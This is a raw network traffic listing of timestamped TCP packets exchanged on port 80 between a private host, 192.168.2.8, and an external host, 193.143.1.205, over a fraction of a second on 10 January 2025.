Jan 10, 2025 21:08:11.409316063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409331083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409332991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409352064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409358978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409369946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409389019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409389019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409434080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409607887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409632921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409673929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409714937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409732103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409746885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409761906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409773111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409779072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409801960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409883976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409899950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409917116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409924984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409956932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409975052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409990072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410006046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410021067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410024881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.410038948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410056114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410069942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.410094023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.410293102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410309076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410324097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410355091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.410376072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410392046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410407066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410422087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.410422087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410449028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410454988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.410469055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410486937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410495043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.410502911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410520077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410525084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.410537004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410552979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410558939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.410593987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.410933018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410948992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410973072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.410993099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.410999060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411015034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411031008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411041021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.411046982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411062956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411067963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.411081076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411098003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.411120892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411137104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411150932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411165953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.411165953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411189079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.411194086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411210060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411225080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411238909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.411242008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411259890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411262989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.411276102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411292076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411305904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.411309004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411329031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.411874056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411890030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411906004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.411914110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.411947012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.411993027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412009001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412024021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412039042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412048101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.412071943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412076950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.412089109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412105083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412120104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412127972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.412148952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412154913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.412166119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412182093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412198067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412204981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.412215948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412230968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412235022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.412246943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412264109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412266970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.412280083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412297964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412306070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.412337065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.412838936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412863016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412889004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412908077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412909985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.412925959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412940979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412946939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.412959099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412976980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.412978888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.413021088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.421992064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.465104103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465142965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465159893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465176105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465193987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465209961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465226889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465229034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.465243101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465260983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465276957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465279102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.465300083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.465306044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465329885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.465338945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465356112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465372086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465382099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.465389967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465404034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465409994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.465421915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465444088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.465470076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465495110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465509892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465512037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.465528011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465543985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465543985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.465560913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465575933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.465578079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.465606928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.501888990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.501914978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.501933098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.501959085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.501971960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.501976013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.501992941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502011061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502016068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502032042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502038956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502058983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502079964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502085924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502103090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502116919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502123117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502135038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502151012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502156019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502166986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502183914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502193928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502199888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502216101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502217054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502248049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502259970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502266884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502281904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502298117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502309084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502315044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502340078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502346992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502357006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502372980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502377987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502389908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502405882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502408981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502424955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502440929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502451897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502460003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502475023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502479076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502491951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502507925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502512932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502525091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502541065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502547026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502561092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502579927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502707958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502732038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502748013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502752066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502764940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502780914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502784967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502798080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502815008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502824068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502830982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502849102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502851009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502871037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502887964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502898932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502914906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502939939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502940893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502954960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502969980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.502975941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.502988100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503004074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503006935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.503024101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503042936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.503154993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503180027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503200054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.503202915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503220081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503238916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.503277063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503293991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503319025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.503323078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503345013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503364086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503371954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.503381968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503398895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503400087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.503418922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.503439903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.507457972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507487059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507502079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507528067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507534027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.507545948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507549047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.507564068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507590055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507607937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507622004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507651091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507669926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507657051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.507687092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507657051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.507703066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507721901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507739067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507755995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507812023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.507812023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.507812023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.507812023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.507886887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507941008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.507941961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.516463041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.537590027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537619114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537636042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537651062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537679911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537681103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.537695885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537714005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537724018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.537731886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537749052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537775993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.537776947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537795067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537798882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.537808895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.537836075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.557441950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557470083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557486057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557508945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557535887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557535887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.557560921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557579041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.557581902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557598114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557606936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.557606936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557615995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557634115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557636976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.557652950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557678938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557682991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.557696104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557712078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557723045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.557729959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557744026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557754993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.557770967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557786942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557801962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557817936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557835102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557842016 CET	49704	80	192.168.2.8	193.143.1.205
